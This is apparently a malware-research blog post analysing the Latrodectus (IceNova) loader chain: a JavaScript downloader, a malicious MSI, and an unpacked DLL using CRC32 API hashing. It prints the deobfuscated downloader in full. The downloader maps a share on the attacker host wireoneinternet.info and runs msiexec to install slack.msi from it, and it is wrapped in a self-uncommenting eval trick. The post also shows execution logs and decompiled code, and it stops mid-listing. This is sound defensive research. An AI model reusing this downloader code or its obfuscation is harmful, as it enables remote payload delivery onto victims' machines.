Latrodectus [IceNova] – Technical Analysis of the... New IcedID... Its Continuation... Or its Replacement?

0x0d4y.blog/latrodectus-technical-analysis-of-the-new-icedid/

April 30, 2024



My first public malware research was for a strain of <u>*IcedID*</u>. A few months later, in my nighttime activities, I was working on technical analysis research for <u>*Sodinokibi*</u> (*REviI*), a *Ransomware* that is no longer seen, however, is part of the evolutionary history of the business model that we now know as **RaaS**.

But, I saw that a friend had posted an *IcedID* sample that didn't match the **Yara** detection that I had created in my first research. Innocently, I decided to just check out the '*why*'. And this '*just checking*', generated a <u>new public malware research for another strain of IcedID</u>, a lightweight *x64 DLL*.

So, guess what... I decided to return to producing my public research regarding **Sodinokibi**... and guess what?? Yes, I read about a family that may have strong links with the developers of **IcedID**... <u>Latrodectus</u>!! I'm starting to think God might be signaling me not to do **Sodinokibi's** public malware research. But I'll keep trying!

Well, at the time I started this research (and until now), there was very little technical analysis material about this family of *Malware*. Below we can see the very little content regarding this family on **Malpedia**, which is also being called **IceNova**.

It is also possible to observe the few samples present in MalwareBazaar.

Date (UTC)	SHA256 hash	Type 👘	Signature 1	Tags 11	Reporter 11	DL 11
2024-04-29 21:10	fcb578b52a686ed9b202	🕒 pdf		Latrodectus	pr0xylife	•
	50 05 1074070 01 01	_				-

Context of the Latrodectus Threat

Latrodectus, also known as *IceNova Backdoor* (by <u>IBM</u>), is a family of malware that has been observed lately in campaigns linked to groups such as *Trickbot* (<u>WIZARD SPIDER</u>) and <u>Conti</u> (and potentially, in *Ransomware* deliveries), in addition to being attributed to developers from *IcedID*. Therefore, *Latrodectus* has been highlighted as a potential threat and is used as a *Loader* for other malware.

To date, Latrodectus has been identified as having the following infection flow.



And in this research, we will analyze each phase observed in the infection flow above.

Technical Analysis – Static and Dynamic

In this section, I will describe my reverse engineering analysis of each script and binary that makes up the **Latrodectus** infection flow.

During this review, I will use the samples below.

fad25892e5179a346cdbdbba1e40f53bd6366806d32b57fa4d7946ebe9ae8621	1st_stage
65da6d9f781ff5fc2865b8850cfa64993b36f00151387fdce25859781c1eb711	2nd_stage.bin
b9dbe9649c761b0eee38419ac39dcd7e90486ee34cd0eb56adde6b2f645f2960	slack.msi

1st Stage – JS Downloader

The first malicious artifact that is delivered and that carries out the first stage of infection is a JavaScript script. Below, we can see that it is obfuscated, containing many lines of commented garbage code mixed in with the real payload.

JS 1st_stage.js ×	Real payload	□ …
Js 1st_stage.js >		
antemet	allic paramilitary synoeciosis dissociability	

Therefore, the first task to be done is to *deobfuscate* this script. It's relatively simple, the payload contains a lot of commented garbage along with parts of the *real payload*, in addition to part of the *real payload* being uncommented. So be careful, if you are going to *deobfuscate*, do not just delete all the commented lines, because part of the *real payload* is commented.

After deobfuscating all the code, the script will look like below.

```
////var network = new ActiveXObject("WScript.Network");
////var attempt = 0;
////var connected = false;
////var driveLetter, letter;
1111
///function isDriveMapped(letter) {
1111
        var drives = network.EnumNetworkDrives();
1111
        for (var i = 0; i < drives.length; i += 2) {
////
            if (drives.Item(i) === letter) {
1111
                return true;
////
            }
////
        }
////
        return false;
////}
////
////for (driveLetter = 90; driveLetter >= 65 && !connected; driveLetter--) {
1111
        letter = String.fromCharCode(driveLetter) + ":";
////
        if (!isDriveMapped(letter)) {
////
            try {
////
                network.MapNetworkDrive(letter,
"\\\\wireoneinternet.info@80\\share\\");
1111
                connected = true;
////
                break;
////
            } catch (e) {
1111
                attempt++;
1111
            }
////
       }
////}
////
////if (!connected && attempt > 5) {
////
        var command = 'net use ' + letter + ' \\\\wireoneinternet.info@80\\share\\
/persistent:no';
////
        wmi.Get("Win32_Process").Create(command, null, null, null);
1111
1111
       var startTime = new Date();
1111
        while (new Date() - startTime < 3000) {}</pre>
1111
////
       connected = isDriveMapped(letter);
////}
////
///if (connected) {
1111
        var installCommand = 'msiexec.exe /i
\\\\wireoneinternet.info@80\\share\\slack.msi /gn';
        wmi.Get("Win32_Process").Create(installCommand, null, null, null);
1111
////
1111
        try {
1111
            network.RemoveNetworkDrive(letter, true, true);
1111
        } catch (e) {
1111
////
        }
////} else {
////
       WScript.Echo("Failed.");
```

```
////}
var a = (function() {
    var b = new ActiveXObject("Scripting.FileSystemObject"),
        c = WScript.ScriptFullName,
        d = "";
    function e() {
        if (!b.FileExists(c)) return;
        var f = b.OpenTextFile(c, 1);
        while (!f.AtEndOfStream) {
            var g = f.ReadLine();
            if (g.slice(0, 4) === "////") d += g.substr(4) + "\n";
        }
        f.Close();
    }
    function h() {
        if (d !== "") {
            var i = new Function(d);
            i();
        }
    }
    return {
        j: function() {
            try {
                e();
                h();
            } catch (k) {}
        }
    };
})();
a.j();
// SIG // Begin signature block
// SIG // MIIpaQYJKoZIhvcNAQcCoIIpWjCCKVYCAQExDzANBglg
<trunk code>
// SIG // End signature block
```

As we can see in the clean payload above, the main uncommented code has the task of removing the "*IIII*". This will uncomment the rest of the payload, which will ultimately be executed.

JS 1st_stage_deobfucated.js \times

```
JS 1st_stage_deobfucated.js > ...
            WScript.Echo("Failed.");
      var a = (function() {
          var b = new ActiveXObject("Scripting.FileSystemObject"),
              c = WScript.ScriptFullName,
              d = "";
          function e() {
              if (!b.FileExists(c)) return;
              var f = b.OpenTextFile(c, 1);
              while (!f.AtEndOfStream) {
                  var g = f.ReadLine();
                  if (g.slice(0, 4) === "////") d += g.substr(4) + "\n";
              f.Close();
          function h() {
              if (d !== "") {
                  var i = new Function(d);
                  i();
          return {
              j: function() {
                  try {
                      e();
                      h();
                  } catch (k) {}
      })();
      a.j();
      // SIG // Begin signature block
      // SIG // MIIpaQYJKoZIhvcNAQcCoIIpWjCCKVYCAQExDzANBglg
      // SIG // hkgBZQMEAgEFADB3BgorBgEEAYI3AgEEoGkwZzAyBgor
```

As you can see in the code below, in general, the script will use the <u>MapNetworkDrive</u> method to map the external resource wireoneinternet[.]info@80\\share\\ as a shared directory on the network. The wireoneinternet[.]info address is part of the adversary's infrastructure that makes the *Latrodectus Loader* available.

```
JS 1st_stage_deobfucated.js ×
JS 1st_stage_deobfucated.js > ...
      var network = new ActiveXObject("WScript.Network");
      var attempt = 0;
      var connected = false;
      var driveLetter, letter;
      function isDriveMapped(letter) {
          var drives = network.EnumNetworkDrives();
           for (var i = 0; i < drives.length; i += 2) {</pre>
               if (drives.Item(i) === letter) {
                   return true;
      for (driveLetter = 90; driveLetter >= 65 && !connected; driveLetter--) {
          letter = String.fromCharCode(driveLetter) + ":";
           if (!isDriveMapped(letter)) {
                  network.MapNetworkDrive(letter, "\\\\wireoneinternet.info@80\\share\\");
                   connected = true;
               } catch (e) {
                   attempt++;
           }
```

After mapping the **C2** address as a share, the script will use the '**net.exe**' utility to connect to the '*remote share*'.



And finally, the script will download (implicit action) and install an **MSI** called **slack.msi**, through **msiexec.exe**, which is the *Latrodectus Loader*.



After that, the *MSI* will be executed and we will move on to the next section, where we will analyze the *MSI* sample.

Malicious MSI Stage Static Analysis – Malicious MSI

The malicious artifact that is collected through the *JS* script, is an *MSI* artifact, so the analysis method differs from a *PE* artifact. For this analysis, I used **Orca** to identify the configurations of the malicious *MSI* package.

When we open the **slack.msi** artifact, we can see that in the **CustomAction** properties, the execution of a *DLL* through **rundll32** is configured, which will be executed through a binary called **viewer**. Below we can see that this *DLL* will be present in the **digistamp** directory (in the **AppData** folder), and the function to be executed as an argument is called **homi**.

🚉 slack.msi - Orca					– 0 ×
File Edit Tables Transform	То	ols View Help			
D 🗃 🔛 👗 🛍 🛍 👯	*	· · · · · · · · · · · · · · · · · · ·			
Tables	^	Action	Т	Source	Target
ActionText		AI_DETECT_MODERNWIN	1	aicustact.dll	DetectModernWindows
AdminExecuteSequence		Al_Init_PatchWelcomeDIg	1	aicustact.dll	DoEvents
AdminUlSequence		Al_Init_WelcomeDlg	1	aicustact.dll	DoEvents
AdvtExecuteSequence		AI_SET_ADMIN	51	AI_ADMIN	1
Binary		Al_InstallModeCheck	1	aicustact.dll	UpdateInstallMode
BootstrapperUISequence		AI_DOWNGRADE	19		4010
CheckBox		Al_DpiContentScale	1	aicustact.dll	DpiContentScale
ComboBox		Al_EnableDebugLog	321	aicustact.dll	EnableDebugLog
Component		AI_PREPARE_UPGRADE	65	aicustact.dll	PrepareUpgrade
Condition		Al_ResolveKnownFolders	1	aicustact.dll	AI_ResolveKnownFolders
Control		AI_RESTORE_LOCATION	65	aicustact.dll	RestoreLocation
ControlCondition		AI_STORE_LOCATION	51	ARPINSTALLLOCATION	[APPDIR]
ControlEvent		SET_APPDIR	307	APPDIR	[AppDataFolder][Manufacturer]\[ProductName]
CreateFolder		LaunchFile	1026	viewer.exe	C:\Windows\System32\rundll32.exe [LocalAppDataFolder]digistamp\mbae-api-na.dll, homi
CustomAction		SET_SHORTCUTDIR	307	SHORTCUTDIR	[ProgramMenuFolder][ProductName]
Dialog		SET_TARGETDIR_TO_APPDIR	51	TARGETDIR	[APPDIR]
Disectory		AL CORRECT INSTALL	E1	AL INICTALL	0

Through *Orca*, it is also possible to validate the presence of the *DLL* that will be executed during the execution of this **MSI** package.

🚉 slack.msi - Orca							- 0	\times
File Edit Tables Transform	То	ols View Help						
D 🚅 🔛 % 🛍 🛍 🔭	*	= 🖻 🛒 👺						
Tables	^	Component	ComponentId	Directory_	Attributes	Condit	KeyPath	
ActionText		APPDIR	{B48CC27C-9823-4256-8235-834BFD2D0DBB}	APPDIR	0			
AdminExecuteSequence		ProductInformation	{4A323D5F-6D73-4C26-8E39-BE8928DA13EB}	APPDIR	4		Version	
AdminUlSequence		mbaeapina.dll	{6D7E2666-C719-4C49-A765-F9F2668EC706}	digistamp_Dir	256		mbaeapina.d	II
AdvtExecuteSequence								
Binary								
BootstrapperUISequence								
CheckBox								
ComboBox								
Component								
Condition								

Now that we know what will be executed, let's run this MSI package in a monitored laboratory, and let's check the actions that will be performed.

Malicious MSI Stage Dynamic Analysis – Malicious MSI

When running **MSI** in a monitored laboratory, you can observe the sequence of actions that are performed. The first action is the creation on disk of the *DLL* observed through *Orca*, **mbae-api-na.dll** in the local *AppData* directory.



After that, the **viewer** binary executes **rundli32** which will execute the **homi** function of the **mbae-api-na.dll** DLL.

Process Create:
RuleName: -
UtcTime: 2024-04-13 19:32:49.526
ProcessGuid: {425c570b-dde1-661a-5c01-000000000000}}
ProcessId: 10228
Image: C:\Windows\Installer\MSI52BE.tmp
FileVersion: 19.1.0.0
Description: File that launches another file
Product: Advanced Installer
Company: Caphyon LTD
OriginalFileName: viewer.exe
CommandLine: "C:\Windows\Installer\MSI52BE.tmp" C:\Windows\System
32\rundll32.exe C:\Users\Administrator\AppData\Local\digistamp\mb
ae-api-na.dll, homi
CurrentDirectory: C:\Windows\system32\
User: FINBANK\Administrator
LogonGuid: {425c570b-d6e9-661a-b867-0a000000000}
LogonId: 0xA67B8
TerminalSessionId: 1
IntegrityLevel: High
Hashes: SHA256=1E0E63B446EECF6C9781C7D1CAE1F46A3BB31654A70612F71F
31538FB4F4729A,IMPHASH=FB2CF51012533171A22F7091894D5E90
ParentProcessGuid: {425c570b-dd6d-661a-4e01-000000000e00}
ParentProcessId: 4580
ParentImage: C:\Windows\System32\msiexec.exe
ParentCommandLine: C:\Windows\system32\msiexec.exe /V
ParentUser: NT AUTHORITY\SYSTEM

Process Create:
RuleName: -
UtcTime: 2024-04-13 19:32:49.811
ProcessGuid: {425c570b-dde1-661a-5d01-000000000000}}
ProcessId: 2808
Image: C:\Windows\System32\rundll32.exe
FileVersion: 10.0.17763.1697 (WinBuild.160101.0800)
Description: Windows host process (Rundll32)
Product: Microsoft® Windows® Operating System
Company: Microsoft Corporation
OriginalFileName: RUNDLL32.EXE
CommandLine: "C:\Windows\System32\rundll32.exe" C:\Users\Administ
rator\AppData\Local\digistamp\mbae-api-na.dll, homi
CurrentDirectory: C:\Windows\System32\
User: FINBANK\Administrator
LogonGuid: {425c570b-d6e9-661a-b867-0a000000000}
LogonId: 0xA67B8
TerminalSessionId: 1
IntegrityLevel: High
Hashes: SHA256=9F1E56A3BF293AC536CF4B8DAD57040797D62DBB0CA19C4ED9
683B5565549481,IMPHASH=F27A7FC3A53E74F45BE370131953896A
ParentProcessGuid: {425c570b-d6eb-661a-9e00-000000000000}
ParentProcessId: 6252
ParentImage: C:\Windows\explorer.exe
ParentCommandLine: C:\Windows\Explorer.EXE /NOUACCHECK
ParentUser: FINBANK\Administrator

After that, the *DLL* **mbae-api-.dll** is loaded through *rundll32*. In the log below (<u>Sysmon</u> <u>Event ID 7</u>), we are able to identify some static information that the developers put in the *DLL*, to try to circumvent the static analysis. **Malwarebytes Anti-Exploit**?? Serious?

Image loaded: RuleName: - UtcTime: 2024-04-13 19:32:49.840 ProcessGuid: {425c570b-dde1-661a-5d01-0000000000000} ProcessId: 2808
Image: C:\Windows\System32\rundll32.exe
ImageLoaded: C:\Users\Administrator\AppData\Local\digistamp\mbae-
api-na.dll
FileVersion: 1.13.4.585
Description: Malwarebytes Anti-Exploit API NA
Product: Malwarebytes Anti-Exploit
Company: Malwarebytes Corporation
OriginalFileName: mbae-api-na.dll
Hashes: SHA256=9856B816A9D14D3B7DB32F30B07624E4BCDA7F1E265A7BB7A3
E3476BFD54A759,IMPHASH=22EE5A3E54F624BC62E9F4702475FDB4
Signed: false
Signature: -
SignatureStatus: Unavailable
User: FINBANK\Administrator

Strangely, after loading the *DLL*, the same process that loaded the *DLL* named **mbae-api-na.dll** (**PID 2808**), also loaded the same *DLL* now named **Update_4140f889.dll**, taking as argument the same name as the **homi** function .

Process Create:
RuleName: -
UtcTime: 2024-04-13 19:32:50.471
ProcessGuid: {425c570b-dde2-661a-5e01-000000000e00}
ProcessId: 9008
Image: C:\Windows\System32\rundll32.exe
FileVersion: 10.0.17763.1697 (WinBuild.160101.0800)
Description: Windows host process (Rundll32)
Product: Microsoft® Windows® Operating System
Company: Microsoft Corporation
OriginalFileName: RUNDLL32.EXE
CommandLine: rundll32.exe "C:\Users\Administrator\AppData\Roaming
\Custom_update\Update_4140f889.dll", homi
CurrentDirectory: C:\Windows\System32\
User: FINBANK\Administrator
User: FINBANK\Administrator LogonGuid: {425c570b-d6e9-661a-b867-0a0000000000}
User: FINBANK\Administrator LogonGuid: {425c570b-d6e9-661a-b867-0a0000000000} LogonId: 0xA67B8
User: FINBANK\Administrator LogonGuid: {425c570b-d6e9-661a-b867-0a0000000000} LogonId: 0xA67B8 TerminalSessionId: 1
User: FINBANK\Administrator LogonGuid: {425c570b-d6e9-661a-b867-0a0000000000} LogonId: 0xA67B8 TerminalSessionId: 1 IntegrityLevel: High
User: FINBANK\Administrator LogonGuid: {425c570b-d6e9-661a-b867-0a0000000000} LogonId: 0xA67B8 TerminalSessionId: 1 IntegrityLevel: High Hashes: SHA256=9F1E56A3BF293AC536CF4B8DAD57040797D62DBB0CA19C4ED9
User: FINBANK\Administrator LogonGuid: {425c570b-d6e9-661a-b867-0a0000000000} LogonId: 0xA67B8 TerminalSessionId: 1 IntegrityLevel: High Hashes: SHA256=9F1E56A3BF293AC536CF4B8DAD57040797D62DBB0CA19C4ED9 683B5565549481,IMPHASH=F27A7FC3A53E74F45BE370131953896A
User: FINBANK\Administrator LogonGuid: {425c570b-d6e9-661a-b867-0a0000000000} LogonId: 0xA67B8 TerminalSessionId: 1 IntegrityLevel: High Hashes: SHA256=9F1E56A3BF293AC536CF4B8DAD57040797D62DBB0CA19C4ED9 683B5565549481,IMPHASH=F27A7FC3A53E74F45BE370131953896A ParentProcessGuid: {425c570b-dde1-661a-5d01-000000000e00}
User: FINBANK\Administrator LogonGuid: {425c570b-d6e9-661a-b867-0a0000000000} LogonId: 0xA67B8 TerminalSessionId: 1 IntegrityLevel: High Hashes: SHA256=9F1E56A3BF293AC536CF4B8DAD57040797D62DBB0CA19C4ED9 683B5565549481,IMPHASH=F27A7FC3A53E74F45BE370131953896A ParentProcessGuid: {425c570b-dde1-661a-5d01-000000000e00} ParentProcessId: 2808
User: FINBANK\Administrator LogonGuid: {425c570b-d6e9-661a-b867-0a0000000000} LogonId: 0xA67B8 TerminalSessionId: 1 IntegrityLevel: High Hashes: SHA256=9F1E56A3BF293AC536CF4B8DAD57040797D62DBB0CA19C4ED9 683B5565549481,IMPHASH=F27A7FC3A53E74F45BE370131953896A ParentProcessGuid: {425c570b-dde1-661a-5d01-000000000e00} ParentProcessId: 2808 ParentImage: C:\Windows\System32\rundll32.exe
User: FINBANK\Administrator LogonGuid: {425c570b-d6e9-661a-b867-0a0000000000} LogonId: 0xA67B8 TerminalSessionId: 1 IntegrityLevel: High Hashes: SHA256=9F1E56A3BF293AC536CF4B8DAD57040797D62DBB0CA19C4ED9 683B5565549481,IMPHASH=F27A7FC3A53E74F45BE370131953896A ParentProcessGuid: {425c570b-dde1-661a-5d01-000000000e00} ParentProcessId: 2808 ParentImage: C:\Windows\System32\rundll32.exe ParentCommandLine: "C:\Windows\System32\rundll32.exe" C:\Users\Ad
User: FINBANK\Administrator LogonGuid: {425c570b-d6e9-661a-b867-0a000000000} LogonId: 0xA67B8 TerminalSessionId: 1 IntegrityLevel: High Hashes: SHA256=9F1E56A3BF293AC536CF4B8DAD57040797D62DBB0CA19C4ED9 683B5565549481,IMPHASH=F27A7FC3A53E74F45BE370131953896A ParentProcessGuid: {425c570b-dde1-661a-5d01-000000000e00} ParentProcessId: 2808 ParentImage: C:\Windows\System32\rundll32.exe ParentImage: C:\Windows\System32\rundll32.exe" C:\Users\Ad ministrator\AppData\Local\digistamp\mbae-api-na.dll, homi

And finally, the *DLL* **Update_4140f889.dll** is loaded, and contains the same static information, as we can see below.

UtcTime: 2024-04-13 19:32:50.491 ProcessGuid: {425c570b-dde2-661a-5e01-000000000e00} ProcessId: 9008 Image: C:\Windows\System32\rundll32.exe ImageLoaded: C:\Users\Administrator\AppData\Roaming\Custom_update \Update_4140f889.dll
ProcessGuid: {425c570b-dde2-661a-5e01-000000000000} ProcessId: 9008 Image: C:\Windows\System32\rundll32.exe ImageLoaded: C:\Users\Administrator\AppData\Roaming\Custom_update \Update_4140f889.dll
ProcessId: 9008 Image: C:\Windows\System32\rundll32.exe ImageLoaded: C:\Users\Administrator\AppData\Roaming\Custom_update \Update_4140f889.dll
Image: C:\Windows\System32\rundll32.exe ImageLoaded: C:\Users\Administrator\AppData\Roaming\Custom_update \Update_4140f889.dll
ImageLoaded: C:\Users\Administrator\AppData\Roaming\Custom_update \Update_4140f889.dll
\Update_4140f889.dll
FileVersion: 1.13.4.585
Description: Malwarebytes Anti-Exploit API NA
Product: Malwarebytes Anti-Exploit
Company: Malwarebytes Corporation
OriginalFileName: mbae-api-na.dll
Hashes: SHA256=9856B816A9D14D3B7DB32F30B07624E4BCDA7F1E265A7BB7A3
E3476BFD54A759,IMPHASH=22EE5A3E54F624BC62E9F4702475FDB4
Signed: false
Signature: -
SignatureStatus: Unavailable
User: FINBANK\Administrator

From this point, we can obtain the *DLL* that will load the real **Latrodectus** payload, which we will analyze in the next section.

Latrodectus Loader Dynamic Analysis

This *DLL* (**Update_4140f889.dll**) is basically the Loader for the real *Lactrodectus* payload, which is publicly available through *MalwareBazaar*. To obtain this payload, we need to use a debugger to analyze the Loader's execution. Through *x64dbg*, I updated the command line run by the *MSI* package, and began my analysis.

2	🗊 Change Command Line	×
	s\Administrator\AppData\Roaming\Custom_update\Update_4140f889.	dll", homi
	ОК	Cancel

Below is the complete command line that I used to debug the execution of the *DLL* through *rundll32*.

"C:\Windows\System32\rundll32.exe"

"C:\Users\Administrator\AppData\Roaming\Custom_update\Update_4140f889.dll", homi

In order to identify the allocation of the true payload, I set two breakpoints in the following APIs:

- VirtualAlloc
- <u>VirtualProtect</u>



Only with these breakpoints, we are able to identify the process of allocating and writing the real **Lactrodectus** payload into memory. Below, we can see the allocation of the **Lactodectus** *DLL* in memory.

	ndii32.e	ke - PID: 8	124 - Mi	odule: k	ernel32.d	ll - Threa		read 1144 - x	64dbg [El	evated					
File	View	Debug 1	racing	Plugins	Favour	ites Op	tions Hel	p Mar 8 203	24 (TitanEr						
•	י פ	■ →	ш	*	० ⊯	۰.	† → 4	🛽	/ =	49 🥠	fx	# A	2 🛃 1	9	
64	CPU	🍃 Log		Notes		Breakpo	ints 📖	Memory Ma	ар 🧊	Call Sta	ck °	🖹 SEH	o Script	👰 Syn	nbols 🗘 Source
RIP	RSI		00007F	FF210	589D80 589D87	- 4 C	8:FF25 1	L9F40500	ין זר	n <mark>p qwor</mark> nt3	d ptr	ds:[<v< td=""><td>irtualAl</td><td>loc>]</td><td>virtualAllo 🔺</td></v<>	irtualAl	loc>]	virtualAllo 🔺
			00007F	FF216	5B9D88	c									
			00007F	FF216	589D8A	C C									1 1
			00007F	FF216	5B9D8C	C C									
			00007F	FF216	5B9D8E	C C									. I
			<		56 50 6F				11	105	•			• •	▶
qwor	d ptr	ds:[0	0007FF	F2171	191A0 ·	<kerne< td=""><td>132.vir</td><td>tualAllo</td><td>c>]=<ke< td=""><td>rnelba</td><td>se.vir</td><td>tualAll</td><td>oc></td><td></td><td></td></ke<></td></kerne<>	132.vir	tualAllo	c>]= <ke< td=""><td>rnelba</td><td>se.vir</td><td>tualAll</td><td>oc></td><td></td><td></td></ke<>	rnelba	se.vir	tualAll	oc>		
.te	(t:000	07FFF2	16B9D8	30 ker	rnel32.	d]]:\$	19D80 #:	19180 <vi< td=""><td>irtualA</td><td>(11oc></td><td></td><td></td><td></td><td></td><td></td></vi<>	irtualA	(11oc>					
	Dump 1		Dump 2	1	Dump 3	(Dump 4	🛄 Dump	5 👹	Watch 1		Locals	2 Struct	t	
Add										- matching					
0.0.0	ress		Hex		00.00						ASCII				<u> </u>
0000	ress 001565 001565	6CF000 6CF001	Hex 0 4D 0 88	5A 90 00 00	00 03 00 00	00 00 00 00	00 04 00 40	00 00 00 00 00 00	FF FF 00 00	00 00 00 00	ASCII MZ	@	ÿÿ	_	î
	ress 001565 001565 001565	6CF000 6CF001 6CF002	Hex 0 4D 0 B8 0 00	5A 90 00 00 00 00	00 03 00 00 00 00	00 00	00 04 00 40 00 00	00 00 00 00 00 00 00 00 00	FF FF 00 00 00 00	00 00 00 00 00 00	ASCII MZ	@	ÿÿ	-	Î
	ress 001565 001565 001565 001565	6CF000 6CF001 6CF002 6CF003 6CF004	Hex 0 4D 0 88 0 00 0 00 0 00	5A 90 00 00 00 00 00 00 1F BA	00 03 00 00 00 00 00 00 00 00 0E 00	00 00 00 00 00 00 00 00 B4 09	00 04 00 40 00 00 00 00 CD 21	00 00 00 00 00 00 00 00 00 00 00 00 B8 01 4C	FF FF 00 00 00 00 C0 00 CD 21	00 00 00 00 00 00 00 00 54 68	ASCII MZ	@ f!,.L	ўў А f!Th		Î
	ress 001565 001565 001565 001565 001565 001565	6CF000 6CF001 6CF002 6CF003 6CF004 6CF005 6CF005	Hex 0 4D 0 88 0 00 0 00 0 0E 0 69 0 74	5A 90 00 00 00 00 00 00 1F BA 73 20 20 6 <u>2</u>	00 03 00 00 00 00 00 00 0E 00 70 72 65 20	00 00 00 00 00 00 00 00 84 09 6F 67 72 75	00 04 00 40 00 00 00 00 CD 21 72 61 6E 20	00 00 00 00 00 00 00 00 00 00 00 00 88 01 4C 6D 20 63 69 6E <u>20</u>	FF FF 00 00 00 00 C0 00 CD 21 61 6E 44 4F	00 00 00 00 00 00 54 68 6E 6F 53 20	ASCII MZ is pro	@ f!,.L ogram c run in	ÿÿ A f!Th anno DOS	_	Î
	ress 001565 001565 001565 001565 001565 001565 001565 001565	6CF000 6CF001 6CF002 6CF003 6CF004 6CF005 6CF006 6CF006 6CF006	Hex 0 4D 0 88 0 00 0 00 0 0E 0 69 0 74 0 6D 0 97	5A 90 00 00 00 00 00 00 1F BA 73 20 20 62 6F 64 DC AD	00 03 00 00 00 00 00 00 0E 00 70 72 65 20 65 2E 80 D3	00 00 00 00 00 00 00 00 84 09 6F 67 72 75 0D 00 8D C3	00 04 00 40 00 00 00 00 CD 21 72 61 6E 20 0A 24 DE D3	00 00 00 00 00 00 00 00 00 00 00 00 88 01 4C 6D 20 63 69 6E 20 00 00 00	FF FF 00 00 00 00 CO 00 CD 21 61 6E 44 4F 00 00 D3 BD	00 00 00 00 00 00 54 68 6E 6F 53 20 00 00 C3 DE	ASCII MZ is pro t be mode.	@ ogram с run in \$ %Арб%Ари	ўў А f!Th anno DOS	_	Î

It is interesting to note that the process of allocating and writing data to memory is done in parts. *Loader* loads a large block of data, and gradually writes the data into each space.

🛞 rundll32.ex	e - PID: 628 - Module: kern	nel32.dll - Thread: Main Thread 1852 - x64dbg [Elevated]	1]	
File View [Debug Tracing Plugins	Favourites Options Help Mar 8 2024 (TitanEngine)		
📫 🖸 🗖	i → II † a	🕨 🥗 🌲 🏌 🏎 📓 🥒 🚍 🛷	🥓 fx # A1 🖁 🗐 🌻	
CPU	🍃 Log 📑 Notes	Breakpoints Memory Map I Call	ll Stack 💁 SEH 🐻 Script 👰 Symbols 🔇 Source 🔎 References 🎽	*
туре	Address	Module/Label/Exception	State Disassembly Hit	ts
Software	00007FFF216B9D80 00007FFF216BB680 00007FFF216BD610 00007FFF216BF220	<pre><kernel32.dll.virtualalloc> <kernel32.dll.virtualprotect> <kernel32.dll.loadlibraryexa> <kernel32.dll.loadlibrarya></kernel32.dll.loadlibrarya></kernel32.dll.loadlibraryexa></kernel32.dll.virtualprotect></kernel32.dll.virtualalloc></pre>	Enabled imp qword ptr ds:[<virtualalloc>] 11 Enabled imp qword ptr ds:[<virtualprotect>] 1 Enabled imp qword ptr ds:[<loadlibraryexa>] 0 Enabled imp qword ptr ds:[<loadlibrarya>] 3</loadlibrarya></loadlibraryexa></virtualprotect></virtualalloc>	

After that, just save the *DLL* to disk using **x64dbg** *Dump*.

After doing the dump, if we play the *DLL* extracted from memory in <u>Detect It Easy</u>, specifically in the *Extraction* section, we will observe that this sample contains another PE artifact within itself... yes... I felt like I was in Inception.

FType- PE64	•	Sections 🔹				
Option	S		- 2	Deep scan	00012000	
Of	fset 🗸 🛛	Address		Size	Туре	
	00	0000000180000000	PF Header	00011400	PF64	PF(AMD64)
	2200	0000000180004000	Section(2)['.data']	ee00	PE64	PE(AMD64)

In the next section, we will reverse engineer this DLL.

Latrodectus 2nd Stage Reverse Engineering

As we saw at the end of the previous section, the *Latrodectus main DLL* extracted from memory contained a *PE* file in the **.data** section, identified using *Detect It Easy*.

We can see the use of this *PE* file, exactly in the initial function of the *DLL* extracted from memory, being passed as an argument to the **sub_180002650** function.

180001000	void _start()noreturn
180001000	int64_t r8
180001000	arg_18 = r8
180001009	int64_t rcx
180001009	arg_8 = rcx
180001016	int32_t rdx
180001016	int32_t var_24 = rdx
18000101a	int64_t var_20 = 0
18000105a	void var_28
180001050	sub_1800026b0(&var_28, sub_180002650(&var_28, &data_180004000, 0xee00), "scub")()
180001060	ExitProcess(uExitCode: 0)
180001060	noreturn

When looking at the data blob reference **data_180004000**, in addition to being easy to identify a *PE* artifact (through the *DOS header*), it is also possible to observe that the third argument is the total size of this integrated binary.

180001000	void _start()noreturn
180001000	int64_t r8
180001000	arg_18 = r8

Therefore, it is understandable that we can assume that this main *DLL* just injects this other *PE* artifact into memory, and executes it.

To validate this assumption, we just need to analyze the function **sub_180002650** (which I named), which is a wrapper for the function that checks whether the embedded *PE* contains the headers referring to a *PE* executable.



In this same function, the code allocates memory the size of the embedded PE. Now let's move on to analyzing the embedded PE that is allocated and executed in memory.

Latrodectus Main DLL Reverse Engineering

Now we can finally analyze the real Latrodectus!!

Below, we can observe some static information from *Latrodectus*, we can identify that this DLL exports *four functions*, they are:

extra follower run

scub

Furthermore, it is also possible to observe that this DLL imports few standard APIs, which indicates that it is possible that it implements some technique to rebuild its import table at run time.

Import Table Reconstruct Through API Hashing

Right at the beginning of the main function, *Latrodectus* has a function that I named *iat_reconstruct_api_hashing*. This function allows *Latrodectus* to execute functions that will reconstruct its import table through the <u>API Hashing</u> technique, specifically using the

```
crc32 hash.
```

<pre>int64_t iat_reconstruct_api_hashing()</pre>							
7fff0a386328	<pre>int64_t iat_reconstruct_api_hashing()</pre>						
7fff0a386333	int64 t return						
7fff0a386333	if (peb access() == 0)						
7fff0a386369	label_7fff0a386369:						
7fff0a386369	return = 0						
7fff0a386333	else						
7fff0a38633c	if (sub_7fff0a38abd4() == 0)						
7fff0a38633c	goto label_7fff0a386369						
7fff0a38633e	api_hashing_routine_ntdll()						
7fff0a38634e	if (api_hashing_routine_kernel32() == 0)						
7fff0a38634e	goto label_7fff0a386369						
7fff0a386357	if (api_hashing_routine#3() == 0)						
7fff0a386357	goto label_7fff0a386369						
7fff0a386360	if (api_hashing_routine_mix() == 0)						
7fff0a386360	goto label_7fff0a386369						
7fff0a386362	return = api_hashing_routine_ole32()						
7fff0a3863 <u>6f</u>	return return						

As an example, below is one of the functions that contains *crc32* hashes to be resolved at run time.

```
int32_t var_248 = 0x572d5d8e
void* var_238 = &data_180010ed0
void* var_238 = &data_180010ed0
int32_t var_230 = 0x201d0dd6
void* var_228 = &data_180010ed0
void* var_220 = &data_180010ed8
int32_t var_218 = 0xd4c9b887
void* var_210 = &data_180010ed0
int64_t* var_208 = &data_180010ed0
int32_t var_200 = 0x2ec21d6c
void* var_1f8 = &data_180010ed8
int64_t* var_1f0 = &data_180010e00
int32_t var_1e8 = 0xc24fa5f4
void* var_1e0 = &data_180010ed8
int64_t* var_1d8 = &data_180010ed8
int32_t var_1e8 = 0xc4fa5f4
void* var_1c8 = &data_180010ed8
int64_t* var_1b8 = 0xff00b1f6
void* var_1b0 = &data_180010ed8
int64_t* var_1a8 = &data_180010ed8
int64_t* var_1a8 = &data_180010ed8
int64_t* var_1a8 = &data_180010ed8
int64_t* var_1a8 = &data_180010ed8
int32_t var_1a8 = &data_180010ed8
void* var_198 = &data_180010ed8
